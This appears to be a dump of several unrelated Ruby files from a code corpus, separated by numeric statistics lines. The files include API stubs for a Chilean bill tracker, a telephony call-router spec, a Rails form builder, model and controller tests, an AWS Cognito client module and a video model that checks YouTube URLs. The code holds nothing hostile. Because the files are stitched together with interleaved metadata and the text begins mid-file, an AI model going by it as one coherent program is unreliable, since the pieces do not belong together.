"http://127.0.0.1.xip.io:3003/paperworks/5346f670683ff8a1dd000001" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:12:26Z", "date": "2013-03-12T00:00:00+00:00", "updated_at": "2014-04-10T20:22:32Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fb0f683ff8a1dd000003" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:24:21Z", "date": "2013-03-13T00:00:00+00:00", "updated_at": "2014-04-10T20:24:45Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fddf683ff8a1dd000004" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:26:59Z", "date": "2013-03-14T00:00:00+00:00", "updated_at": "2014-04-10T20:26:59Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fe65683ff8a1dd000005" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:28:46Z", "date": "2013-03-15T00:00:00+00:00", "updated_at": "2014-04-10T20:28:46Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fee1683ff8a1dd000007" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:29:48Z", "date": "2013-01-13T00:00:00+00:00", "updated_at": "2014-04-10T20:30:48Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346ff11683ff8a1dd000008" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } } ], "priorities": [ ], "reports": [ ], "documents": [ ], "directives": [ ], "remarks": [ ], "revisions": [ ], "_links": { "self": { "href": "http://billit.ciudadanointeligente.org/bills/6967-06" }, "law_xml": { "href": "http://www.leychile.cl/Consulta/obtxml?opt=7&idLey=20663" }, "law_web": { "href": "http://www.leychile.cl/Navegar?idLey=20663" }, "bill_draft": { "href": "http://www.senado.cl/appsenado/index.php?mo=tramitacion&ac=getDocto&iddocto=7370&tipodoc=mensaje_mocion" } } }' stub_request(:put, ENV['billit_url'] + "6967-06") .to_return(:body => response) end def mock_morph_agendas_table() response = '[ { "uid":"S361-91", "date":"2014-03-04", "chamber":"Senado", "legislature":"361", "session":"91", "bill_list":"[\"6967-06\"]", "date_scraped":"2014-02-28" } ]' query = 'select * from data limit 200' query = URI::escape(query) stub_request(:get, ENV['agendas_url'] + query) .to_return(:body => response) end def mock_morph_district_weeks() response = '[ { "id":"C001", "title":"Semana distrital", "start":"2014-03-24", "end":"2014-03-28", "chamber":"C.Diputados", "url":"http://www.camara.cl/camara/distritos.aspx", "date_scraped":"2014-03-21" } ]' query = 'select * from data limit 200' query = URI::escape(query) stub_request(:get, ENV['district_weeks_url'] + query) .to_return(:body => response) end
36.956386
131
0.404282
e8f2be5c3690978c84c1eccdaf4534bfa0dcd8d4
142
Rails.application.routes.draw do devise_for :users resources :users, only: [:show], param: :username, path: "" root 'static#home' end
17.75
61
0.697183
18fc5b31b2b4f52d45031da6ef1981471eb61cbb
7,428
require "rails_helper" describe CallRouter do describe "#normalized_source" do it "returns the normalized source" do call_router = described_class.new(source: "+0972345678") call_router.trunk_prefix_replacement = "855" expect(call_router.normalized_source).to eq("+855972345678") call_router.trunk_prefix_replacement = "856" expect(call_router.normalized_source).to eq("+856972345678") call_router.trunk_prefix = "1" expect(call_router.normalized_source).to eq("+0972345678") call_router.trunk_prefix_replacement = nil expect(call_router.normalized_source).to eq("+0972345678") call_router = described_class.new(trunk_prefix_replacement: "855") call_router.source = "+855972345678" expect(call_router.normalized_source).to eq("+855972345678") call_router.source = "855972345678" expect(call_router.normalized_source).to eq("855972345678") call_router.source = "10972345678" expect(call_router.normalized_source).to eq("10972345678") end end describe "#routing_instructions" do it "returns routing instructions" do call_router = described_class.new( source: "8551294", source_matcher: /(\d{4}$)/ ) # Cambodia (Smart) call_router.destination = "+85510344566" result = call_router.routing_instructions assert_routing_instructions!( result, source: "1294", destination: "85510344566", dial_string_path: "external/[email protected]" ) # Cambodia (Cellcard) call_router.destination = "+85512345677" result = call_router.routing_instructions assert_routing_instructions!( result, source: "1294", destination: "85512345677", dial_string_path: "external/[email protected]" ) # Cambodia (Metfone) call_router.destination = "+855882345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "1294", destination: "855882345678", dial_string_path: "external/[email protected]" ) # Cambodia (Metfone 1296) call_router.source = "+85512001296" call_router.destination = "+855882345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "095975802", destination: "855882345678", dial_string_path: "external/[email protected]" ) # Unknown source call_router.source = "5555" call_router.destination = "+855882345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "855882345678", dial_string_path: "external/[email protected]" ) # Sierra Leone (Africell) call_router.source = "5555" call_router.destination = "+23230234567" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "23230234567", dial_string_path: "external/[email protected]" ) # Somalia (Telesom) call_router.destination = "+252634000613" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "252634000613", dial_string_path: "external/[email protected]" ) # Somalia (Golis) call_router.destination = "+252902345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "252902345678", dial_string_path: "external/[email protected]" ) # Somalia (NationLink) call_router.destination = "+252692345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "252692345678", dial_string_path: "external/[email protected]" ) # Somalia (Somtel) call_router.destination = "+252652345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "252652345678", dial_string_path: "external/[email protected]" ) # Somalia (Hormuud) call_router.destination = "+252642345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "252642345678", dial_string_path: "external/[email protected]" ) # Brazil call_router.destination = "+5582999489999" result = call_router.routing_instructions assert_routing_instructions!( result, source: "5555", destination: "5582999489999", dial_string_path: "external/[email protected]" ) end it "routes to the simulator" do # Cambodia Metfone (Simulator) call_router = described_class.new( source: "999999", source_matcher: /(\d{4}$)/ ) call_router.destination = "+855882345678" result = call_router.routing_instructions assert_routing_instructions!( result, source: "9999", destination: "855882345678", dial_string_path: "external/[email protected]" ) # Cambodia Smart (Simulator) call_router.destination = "+85510234567" result = call_router.routing_instructions assert_routing_instructions!( result, source: "9999", destination: "85510234567", dial_string_path: "external/[email protected]" ) # Cambodia Mobitel (Simulator) call_router.destination = "+85512234567" result = call_router.routing_instructions assert_routing_instructions!( result, source: "9999", destination: "85512234567", dial_string_path: "external/[email protected]" ) end it "returns disable_originate=1 if there if there's no default gateway" do stub_app_settings(default_sip_gateway: nil) call_router = described_class.new(destination: "+85688234567") result = call_router.routing_instructions expect(result.fetch("disable_originate")).to eq("1") end it "returns routing instructions for the default gateway" do stub_app_settings( default_sip_gateway: { "enabled" => true, "host" => "example.pstn.twilio.com", "caller_id" => "+14152345678", "prefix" => "+" } ) call_router = described_class.new(destination: "+85688234567") result = call_router.routing_instructions assert_routing_instructions!( result, source: "+14152345678", destination: "85688234567", dial_string_path: "external/[email protected]" ) end end def assert_routing_instructions!(result, source:, destination:, dial_string_path:) expect(result.fetch("source")).to eq(source) expect(result.fetch("destination")).to eq(destination) expect(result.fetch("dial_string_path")).to eq(dial_string_path) end end
27.208791
86
0.652396
bb0425cd1e18d4f658b34ecf4d91802cb6270650
430
require 'rails_helper' # Specs in this file have access to a helper object that includes # the UnitsHelper. For example: # # describe UnitsHelper do # describe "string concat" do # it "concats two strings with spaces" do # expect(helper.concat_strings("this","that")).to eq("this that") # end # end # end RSpec.describe UnitsHelper, type: :helper do pending "add some examples to (or delete) #{__FILE__}" end
26.875
71
0.704651
f79646e97aeb67fcd3b69c83d596196ba2a267a3
1,673
# frozen_string_literal: true class AdminFormBuilder < ActionView::Helpers::FormBuilder include ApplicationHelper delegate :capture, to: :@template delegate :label_tag, to: :@template delegate :link_to, to: :@template delegate :tag, to: :@template def ace_editor(method, options = {}) mode = options.delete(:mode) || 'text' theme = options.delete(:theme) || 'github' tag.div(class: 'ace-editor-field input-field') do label = label(method) ace_editor = tag.div('', id: ace_editor_id_for(method), class: 'ace-editor', data: { 'mode' => mode, 'theme' => theme }) text_area = text_area(method, options.merge(class: 'value')) label + ace_editor + text_area end end def picture_inserter(method, options = {}, &block) button_class = options.delete(:class) || 'btn btn-flat waves-effect waves-light blue lighten-3' button_text = if block capture(&block) else I18n.t('admin.pages.new.insert_picture') end target = options.delete(:target) || ace_editor_id_for(method) tag.div('', class: 'picture-inserter', data: { 'buttonclassname' => button_class, 'buttontext' => button_text, 'target' => target }) end # def tag_list(method, options = {}) # tags = (object.send(method) || []).join(',') # suggestions = (options.delete(:suggestions) || []).join(',') # tag.div('', class: 'taglist-container', data: { 'tags' => tags, 'suggestions' => suggestions, 'objectname' => object_name, 'method' => method.to_s }) # end private def ace_editor_id_for(method) "#{object_name}_#{method}-editor" end end
30.418182
155
0.629408
e9021d1deef17630b1a68aac0d525cc5556acaf9
2,990
require 'test_helper' class PostReplacementsControllerTest < ActionDispatch::IntegrationTest context "The post replacements controller" do setup do @mod = create(:moderator_user, name: "yukari", can_approve_posts: true, created_at: 1.month.ago) as(@mod) do @post = create(:post, source: "https://google.com", tag_string: "touhou") @post_replacement = create(:post_replacement, post: @post) end end context "create action" do should "render" do params = { format: :json, post_id: @post.id, post_replacement: { replacement_url: "https://cdn.donmai.us/original/d3/4e/d34e4cf0a437a5d65f8e82b7bcd02606.jpg" } } assert_difference("PostReplacement.count") do post_auth post_replacements_path, @mod, params: params assert_response :success end travel(PostReplacement::DELETION_GRACE_PERIOD + 1.day) perform_enqueued_jobs assert_equal("https://cdn.donmai.us/original/d3/4e/d34e4cf0a437a5d65f8e82b7bcd02606.jpg", @post.reload.source) assert_equal("d34e4cf0a437a5d65f8e82b7bcd02606", @post.md5) assert_equal("d34e4cf0a437a5d65f8e82b7bcd02606", Digest::MD5.file(@post.file(:original)).hexdigest) end should "not allow non-mods to replace posts" do assert_difference("PostReplacement.count", 0) do post_auth post_replacements_path(post_id: @post.id), create(:user), params: { post_replacement: { replacement_url: "https://cdn.donmai.us/original/d3/4e/d34e4cf0a437a5d65f8e82b7bcd02606.jpg" }} assert_response 403 end end end context "update action" do should "update the replacement" do params = { format: :json, id: @post_replacement.id, post_replacement: { file_size_was: 23, file_size: 42 } } put_auth post_replacement_path(@post_replacement), @mod, params: params assert_response :success assert_equal(23, @post_replacement.reload.file_size_was) assert_equal(42, @post_replacement.file_size) end end context "index action" do setup do as(create(:admin_user)) { @admin_replacement = create(:post_replacement, replacement_url: "https://danbooru.donmai.us") } end should "render" do get post_replacements_path assert_response :success end should respond_to_search({}).with { [@admin_replacement, @post_replacement] } should respond_to_search(replacement_url_like: "*danbooru*").with { @admin_replacement } context "using includes" do should respond_to_search(post_tags_match: "touhou").with { @post_replacement } should respond_to_search(creator: {level: User::Levels::ADMIN}).with { @admin_replacement } should respond_to_search(creator_name: "yukari").with { @post_replacement } end end end end
36.024096
203
0.662542
6136fa20d73d54548b4e2b9560655701d6729342
204
# frozen_string_literal: true RSpec.describe AhlScraper::Games::Events::Shot do let(:raw_data) do {} end it "converts raw data into Shot record" do described_class.new(raw_data) end end
17
49
0.715686
015f55db20bb3e7cb351f0551f9f5f9f64e6bff5
1,720
# encoding: utf-8 module Mail # ParameterHash is an intelligent Hash that allows you to add # parameter values including the MIME extension paramaters that # have the name*0="blah", name*1="bleh" keys, and will just return # a single key called name="blahbleh" and do any required un-encoding # to make that happen # Parameters are defined in RFC2045, split keys are in RFC2231 class ParameterHash < IndifferentHash include Mail::Utilities def [](key_name) key_pattern = Regexp.escape(key_name.to_s) pairs = [] exact = nil each do |k,v| if k =~ /^#{key_pattern}(\*|$)/i if $1 == ASTERISK pairs << [k, v] else exact = k end end end if pairs.empty? # Just dealing with a single value pair super(exact || key_name) else # Dealing with a multiple value pair or a single encoded value pair string = pairs.sort { |a,b| a.first.to_s <=> b.first.to_s }.map { |v| v.last }.join('') if mt = string.match(/([\w\-]+)'(\w\w)'(.*)/) string = mt[3] encoding = mt[1] else encoding = nil end Mail::Encodings.param_decode(string, encoding) end end def encoded map.sort_by { |a| a.first.to_s }.map! do |key_name, value| unless value.ascii_only? value = Mail::Encodings.param_encode(value) key_name = "#{key_name}*" end %Q{#{key_name}=#{quote_token(value)}} end.join(";\r\n\s") end def decoded map.sort_by { |a| a.first.to_s }.map! do |key_name, value| %Q{#{key_name}=#{quote_token(value)}} end.join("; ") end end end
29.152542
95
0.573256
1cca443cf6c1d8aa886020757ff2303347db3949
39
module Dashing VERSION = '2.4.4' end
9.75
19
0.666667
3357606af81de51b5ee857e5c8138ab5e1b3066f
737
module FattureInCloud_Ruby_Sdk # The Operator class represents the operator enum. class Operator # Equal operator. EQ = '='.freeze # Greater Than operator. GT = '>'.freeze # Greater Than or Equal operator. GTE = '>='.freeze # Less Than operator. LT = '<'.freeze # Less Than or Equal operator. LTE = '<='.freeze # Not Equal operator. NEQ = '<>'.freeze # Is operator. IS = 'is'.freeze # Is Not operator. IS_NOT = 'is not'.freeze # Like operator. LIKE = 'like'.freeze # Contains operator. CONTAINS = 'contains'.freeze # Starts With operator. STARTS_WITH = 'starts with'.freeze # Ends With operator. ENDS_WITH = 'ends with'.freeze end end
24.566667
52
0.61194
38ce525db79e30b544479ec1f3d56f6f8a834f8e
1,316
class VideoInfo module Providers class VimeoPlaylist < Vimeo alias_method :playlist_id, :video_id def self.usable?(url) url =~ /((vimeo\.com)\/album)|((vimeo\.com)\/hubnut\/album)/ end def videos @videos ||= _data_videos.map do |video_data| video = Vimeo.new(video_data['link']) video.data = video video end end def embed_url "//player.vimeo.com/hubnut/album/#{playlist_id}" end %w[width height keywords view_count].each do |method| define_method(method) { nil } end private def _video data end def _url_regex /vimeo.com\/album\/([0-9]*)|vimeo.com\/hubnut\/album\/([0-9]*)/ end def _api_path "/albums/#{playlist_id}" end def _api_path_album_videos "/albums/#{playlist_id}/videos" end def _api_videos_path "/videos/#{video_id}" end def _api_videos_url "https://#{_api_base}#{_api_path_album_videos}" end def _data_videos @data_videos ||= _set_videos_from_api end def _set_videos_from_api uri = open(_api_videos_url, options) json = MultiJson.load(uri.read) json['data'] end end end end
20.5625
71
0.566109
bbfa1f877edc4df640a97ee85f44abdd9dfd1d51
1,359
class Rdf::Builders::ClassBuilder < Rdf::Builders::BaseBuilder include Rdf::Builders::Traversable include Rdf::Builders::Context IGNORE_PREDICATES = %w(rdf:type rdfs:isDefinedBy rdfs:seeAlso dc:hasVersion dc:issued dc:modified http://purl.org/dc/terms/hasVersion http://purl.org/dc/terms/issued http://purl.org/dc/terms/modified vs:term_status owl:disjointWith owl:equivalentClass prov:wasDerivedFrom).freeze def initialize register_handler("rdfs:label", Rdf::Builders::LangLiteralHandler.new(:labels)) register_handler("rdfs:comment", Rdf::Builders::LangLiteralHandler.new(:comments)) register_handler("dc:description", Rdf::Builders::LangLiteralHandler.new(:comments, overwrites: false)) alias_handler "http://purl.org/dc/terms/description", "dc:description" register_handler("rdfs:subClassOf", Rdf::Builders::SubClassOfHandler.new) end def call(predicate, objects) return if IGNORE_PREDICATES.include?(predicate) unless super Rails.logger.debug "unknown class key: #{predicate}" end nil end end
36.72973
107
0.593083
f77ff64096108ca058b23e35371fdcf5c765eddf
3,465
# frozen_string_literal: true require 'aws-sdk' module PWN module AWS # This module provides a client for making API requests to Amazon Cognito Identity. module CognitoIdentity @@logger = PWN::Plugins::PWNLogger.create # Supported Method Parameters:: # PWN::AWS::CognitoIdentity.connect( # region: 'required - region name to connect (eu-west-1, ap-southeast-1, ap-southeast-2, eu-central-1, ap-northeast-2, ap-northeast-1, us-east-1, sa-east-1, us-west-1, us-west-2)', # access_key_id: 'required - Use AWS STS for best privacy (i.e. temporary access key id)', # secret_access_key: 'required - Use AWS STS for best privacy (i.e. temporary secret access key', # sts_session_token: 'optional - Temporary token returned by STS client for best privacy' # ) public_class_method def self.connect(opts = {}) region = opts[:region].to_s.scrub.chomp.strip access_key_id = opts[:access_key_id].to_s.scrub.chomp.strip secret_access_key = opts[:secret_access_key].to_s.scrub.chomp.strip sts_session_token = opts[:sts_session_token].to_s.scrub.chomp.strip @@logger.info('Connecting to AWS CognitoIdentity...') if sts_session_token == '' cognito_identity_obj = Aws::CognitoIdentity::Client.new( region: region, access_key_id: access_key_id, secret_access_key: secret_access_key ) else cognito_identity_obj = Aws::CognitoIdentity::Client.new( region: region, access_key_id: access_key_id, secret_access_key: secret_access_key, session_token: sts_session_token ) end @@logger.info("complete.\n") cognito_identity_obj rescue StandardError => e raise e end # Supported Method Parameters:: # PWN::AWS::CognitoIdentity.disconnect( # cognito_identity_obj: 'required - cognito_identity_obj returned from #connect method' # ) public_class_method def self.disconnect(opts = {}) cognito_identity_obj = opts[:cognito_identity_obj] @@logger.info('Disconnecting...') cognito_identity_obj = nil @@logger.info("complete.\n") cognito_identity_obj rescue StandardError => e raise e end # Author(s):: 0day Inc. <[email protected]> public_class_method def self.authors "AUTHOR(S): 0day Inc. <[email protected]> " end # Display Usage for this Module public_class_method def self.help puts "USAGE: cognito_identity_obj = #{self}.connect( region: 'required - region name to connect (eu-west-1, ap-southeast-1, ap-southeast-2, eu-central-1, ap-northeast-2, ap-northeast-1, us-east-1, sa-east-1, us-west-1, us-west-2)', access_key_id: 'required - Use AWS STS for best privacy (i.e. temporary access key id)', secret_access_key: 'required - Use AWS STS for best privacy (i.e. temporary secret access key', sts_session_token: 'optional - Temporary token returned by STS client for best privacy' ) puts cognito_identity_obj.public_methods #{self}.disconnect( cognito_identity_obj: 'required - cognito_identity_obj returned from #connect method' ) #{self}.authors " end end end end
37.258065
190
0.641847
7a5088eea9c64e478e06d179dba79b4464d6a9e4
1,014
require 'csv_row_model/internal/dynamic_column_attribute_base' module CsvRowModel module Import class DynamicColumnAttribute < CsvRowModel::DynamicColumnAttributeBase attr_reader :source_headers, :source_cells def initialize(column_name, source_headers, source_cells, row_model) @source_headers = source_headers @source_cells = source_cells super(column_name, row_model) end def unformatted_value formatted_cells.zip(formatted_headers).map do |formatted_cell, source_headers| call_process_cell(formatted_cell, source_headers) end end def formatted_headers source_headers.map do |source_headers| row_model_class.format_dynamic_column_header(source_headers, column_name, row_model.context) end end class << self def define_process_cell(row_model_class, column_name) super { |formatted_cell, source_headers| formatted_cell } end end end end end
30.727273
102
0.716963
0852d9328b92bff83425cb36faf12f27d5e6b3d1
3,517
# frozen_string_literal: true require 'spec_helper' require 'redis/connection/hiredis' require 'connection_pool' require 'simplefeed/providers/redis/driver' class RedisAdapter include ::SimpleFeed::Providers::Redis::Driver end RSpec.describe SimpleFeed::Providers::Redis::Driver do shared_examples(:validate_adapter) do let(:success) { 'OK' } context '#set & #get' do before { adapter.set(key, value) } it '#get(key)' do expect(adapter.get(key)).to eq(value) end it '#exists(key)' do expect(adapter.exists(key)).to eq(1) end it '#delete(key)' do expect(adapter.delete(key)).to eq(1) end it '#exists(key) after #delete(key)' do expect(adapter.delete(key)).to eq(1) expect(adapter.exists(key)).to eq(0) end end context '#set & #get pipelined' do before { adapter.set(key, value) } it 'should have the key/value set' do adapter.with_pipelined do |r| @set = r.set('another', 'value') @get = r.get(key) @exists = r.exists(key) @rm = r.del(key) end expect(@set.value).to eq(success) expect(@get.value).to eq(value) expect(@exists.value).to eq(1) expect(@rm.value).to eq(1) end end context '#zadd & #zrange' do before do adapter.rm(key) adapter.zadd(key, score, value) end it 'should manipulate an ordered set' do expect(adapter.zrange(key, 0, 1)).to eq([value]) expect(adapter.exists(key)).to eq(1) expect(adapter.rm(key)).to eq(1) expect(adapter.exists(key)).to eq(0) end end end let(:key) { 'hello' } let(:value) { 'good bye' } let(:score) { Time.now.to_i } let!(:redis) { Redis.new } context 'passing :pool directly' do let(:adapter) { RedisAdapter.new(pool: ConnectionPool.new(size: 2) { redis }) } include_examples :validate_adapter end context 'passing :redis as a proc' do let(:adapter) { RedisAdapter.new(redis: -> { Redis.new }, pool_size: 2) } include_examples :validate_adapter end context 'passing :redis pre-instantiated' do let(:adapter) { RedisAdapter.new(redis: Redis.new) } include_examples :validate_adapter end context 'passing :redis via a hash' do let(:adapter) { RedisAdapter.new(redis: { host: 'localhost', port: 6379, db: 1, timeout: 0.2 }, pool_size: 1) } include_examples :validate_adapter end context 'retrying an operation' do let(:adapter) { RedisAdapter.new(redis: redis, pool_size: 1) } it 'should retry and succeed' do redis.del('retry') expect(redis).to receive(:set).and_raise(::Redis::BaseConnectionError).once expect(redis).to receive(:set).with('retry', 'connection') adapter.set('retry', 'connection') end end context 'LoggingRedis' do let(:adapter) { RedisAdapter.new(redis: redis, pool_size: 1) } it 'should print out each redis operation to STDERR' do expect(SimpleFeed::Providers::Redis::Driver::LoggingRedis.stream).to receive(:printf).at_least(15).times expect(SimpleFeed::Providers::Redis::Driver::LoggingRedis.stream).to receive(:puts).exactly(3).times SimpleFeed::Providers::Redis.with_debug do adapter.with_redis do |redis| expect(redis.set('hokey', 'pokey')).to eq 'OK' expect(redis.get('hokey')).to eq 'pokey' expect(redis.del('hokey')).to eq 1 end end end end end
31.972727
115
0.628661
0325c3ea781ae2ea032d1ae50849b3774743fbfe
405
module FarmwareInstallations class Create < Mutations::Command required do string :url model :device, class: Device end def execute fwi = FarmwareInstallation.create!(create_params) fwi.force_package_refresh! fwi end private def create_params @create_params ||= { url: url, device: device } end end end
18.409091
55
0.6
aceb5de503199d45ad448eae42649abd47f9046d
1,743
# frozen_string_literal: true module RuboCop module Cop module Style # This cop checks for nested `File.dirname`. # It replaces nested `File.dirname` with the level argument introduced in Ruby 3.1. # # @example # # # bad # File.dirname(File.dirname(path)) # # # good # File.dirname(path, 2) # class NestedFileDirname < Base include RangeHelp extend AutoCorrector extend TargetRubyVersion MSG = 'Use `dirname(%<path>s, %<level>s)` instead.' RESTRICT_ON_SEND = %i[dirname].freeze minimum_target_ruby_version 3.1 # @!method file_dirname?(node) def_node_matcher :file_dirname?, <<~PATTERN (send (const {cbase nil?} :File) :dirname ...) PATTERN def on_send(node) return if file_dirname?(node.parent) || !file_dirname?(node.first_argument) path, level = path_with_dir_level(node, 1) return if level < 2 message = format(MSG, path: path, level: level) range = offense_range(node) add_offense(range, message: message) do |corrector| corrector.replace(range, "dirname(#{path}, #{level})") end end private def path_with_dir_level(node, level) first_argument = node.first_argument if file_dirname?(first_argument) level += 1 path_with_dir_level(first_argument, level) else [first_argument.source, level] end end def offense_range(node) range_between(node.loc.selector.begin_pos, node.source_range.end_pos) end end end end end
26.014925
89
0.580034
01fa2c3d26ef32500b429b968891acdd8ada0a5a
7,784
class Video < ApplicationRecord has_and_belongs_to_many :legislators, index: { unique: true } has_and_belongs_to_many :keywords, index: { unique: true } belongs_to :user belongs_to :committee belongs_to :ad_session paginates_per 9 validates_presence_of :youtube_url, message: '必須填寫youtube網址' validates_presence_of :title, message: '必須填寫影片標題' validates_presence_of :user_id, message: '必須有回報者' validate :has_at_least_one_legislator validate :is_youtube_url, :is_ivod_url, :news_validate delegate :ad, to: :ad_session, allow_nil: true before_save :update_youtube_values, :update_ivod_values, :update_ad_session_values after_save :touch_legislators default_scope { order(created_at: :desc) } scope :published, -> { where(published: true) } scope :created_in_time_count, ->(date, duration) { where(created_at: (date..(date + duration))).count } scope :created_after, -> (date) { where("created_at > ?", date) } before_destroy { legislators.clear } before_destroy { keywords.clear } before_destroy :touch_legislators def update_youtube_values if self.updated_at and !self.youtube_url_changed? return true end youtube_id = extract_youtube_id(self.youtube_url) unless youtube_id self.youtube_url = nil errors.add(:base, 'youtube網址錯誤') throw(:abort) end if self.youtube_id == youtube_id # means that youtube is the same, no need to update. return nil end self.youtube_id = youtube_id self.youtube_url = "https://www.youtube.com/watch?v=" + self.youtube_id api_url = 'https://www.googleapis.com/youtube/v3/videos?part=snippet&id=' + self.youtube_id + '&key=' + Setting.google_public_key.api_key response = HTTParty.get(api_url) result = JSON.parse(response.body) # unless result['items'].any? # self.youtube_url = nil # errors.add(:base, 'youtube網址錯誤') # throw(:abort) # end self.image = "https://img.youtube.com/vi/#{self.youtube_id}/maxresdefault.jpg" if result.key?('items') if result['items'][0]['snippet']['thumbnails'].key?('maxres') self.image = result['items'][0]['snippet']['thumbnails']['maxres']['url'] elsif result['items'][0]['snippet']['thumbnails'].key?('standard') self.image = result['items'][0]['snippet']['thumbnails']['standard']['url'] elsif result['items'][0]['snippet']['thumbnails'].key?('high') self.image = result['items'][0]['snippet']['thumbnails']['high']['url'] elsif result['items'][0]['snippet']['thumbnails'].key?('medium') self.image = result['items'][0]['snippet']['thumbnails']['medium']['url'] elsif result['items'][0]['snippet']['thumbnails'].key?('default') self.image = result['items'][0]['snippet']['thumbnails']['default']['url'] end if self.title.blank? self.title = result['items'][0]['snippet']['title'] end if self.content.blank? self.content = result['items'][0]['snippet']['description'].gsub(/[\n]/,"<br />").gsub(/[\r]/,"") end end end def update_ivod_values if self.updated_at and !self.ivod_url_changed? return true end if self.ivod_url.to_s == '' and ['news', 'others'].include? self.video_type return true end self.ivod_url.sub!('http://', 'https://') ivod_uri = URI.parse(self.ivod_url) response = HTTParty.get(self.ivod_url) html = Nokogiri::HTML(response.body) info_section = html.css('div.legislator-video div.video-text')[0] if info_section.blank? # the ivod url is error self.ivod_url = nil errors.add(:base, 'ivod網址錯誤') throw(:abort) elsif info_section.css('p')[3].text == '第屆 第會期' self.ivod_url = nil errors.add(:base, 'ivod網址錯誤') throw(:abort) end self.ivod_url.sub!(/300K$/, '1M') committee_name = info_section.css('h4').text.sub('主辦單位 :', '').strip meeting_description = info_section.css('p.brief_text').text.sub('會議簡介:', '').strip self.committee_id = Committee.where(name: committee_name).first.try(:id) self.meeting_description = meeting_description if ivod_uri.path.split('/')[2].downcase == 'full' date = info_section.css('p')[4].text.sub('會議時間:', '').split(' ')[0].strip self.date = date elsif ivod_uri.path.split('/')[2].downcase == 'vod' legislator_name = info_section.css('p')[4].text.sub('委員名稱:', '').strip date = info_section.css('p')[7].text.sub('會議時間:', '').split(' ')[0].strip legislator = Legislator.where(name: legislator_name).first self.date = date if legislator self.legislators << legislator unless self.legislators.include?(legislator) end end end def update_ad_session_values unless self.date errors.add(:base, '尚未填寫ivod網址') end self.ad_session = AdSession.current_ad_session(self.date).first end def extract_youtube_id(url) youtube_uri = URI.parse(url) if youtube_uri.host == 'www.youtube.com' params = youtube_uri.query if params youtube_id = CGI::parse(params)['v'].first else youtube_id = youtube_uri.path.split('/')[-1] end elsif youtube_uri.host == 'youtu.be' youtube_id = youtube_uri.path[1..-1] else self.youtube_url = nil errors.add(:base, 'youtube網址錯誤') throw(:abort) end end def touch_legislators self.legislators.each(&:touch) end private def is_youtube_url if self.updated_at and !self.youtube_url_changed? return true end begin youtube_uri = URI.parse(self.youtube_url) errors.add(:base, '填寫網址非youtube網址') unless ['www.youtube.com', 'youtu.be'].include?(youtube_uri.try(:host)) # Youtube sometimes will appear 429 for too many requests errors.add(:base, 'youtube網址無法存取') unless [200, 429].include?(HTTParty.get(self.youtube_url).code) rescue errors.add(:base, 'youtube網址錯誤') throw(:abort) end end def is_ivod_url if self.updated_at and !self.ivod_url_changed? return true end if self.ivod_url.to_s == '' if ['news', 'others'].include? self.video_type return true else errors.add(:base, '必須填寫ivod出處網址') throw(:abort) end end begin ivod_uri = URI.parse(self.ivod_url) errors.add(:base, '填寫網址非ivod網址') unless ['ivod.ly.gov.tw'].include?(ivod_uri.try(:host)) errors.add(:base, 'ivod網址無法存取') unless HTTParty.get(self.ivod_url).code == 200 rescue errors.add(:base, 'ivod網址錯誤') throw(:abort) end end def news_validate if self.video_type == 'news' error = 0 if self.date.to_s == '' error = 1 errors.add(:base, '必須填寫新聞日期') end if self.updated_at and !self.source_url_changed? return true end unless self.source_url.to_s == '' begin source_uri = URI.parse(URI.escape(self.source_url)) unless HTTParty.get(URI.escape(self.source_url)).code == 200 errors.add(:base, '新聞來源網址無法存取') error = 1 end rescue self.source_url = nil errors.add(:base, '新聞來源網址錯誤') error = 1 end end if self.source_name.to_s == '' error = 1 errors.add(:base, '必須填寫新聞來源名稱') end if error == 1 throw(:abort) else return true end elsif self.video_type == 'others' error = 0 if self.date.to_s == '' error = 1 errors.add(:base, '必須填寫影片製作日期') end if error == 1 throw(:abort) else return true end else return true end end def has_at_least_one_legislator errors.add(:base, '必須填寫立委姓名!') if self.legislators.blank? end end
33.551724
141
0.633479
5d54266c16a45939942a9f33d5ca98dee8b15586
117
require 'db/h2' require 'serialize' class H2SerializeTest < Test::Unit::TestCase include SerializeTestMethods end
16.714286
44
0.794872
abe90771285769319474a5e5982bc3b6e0c832de
1,583
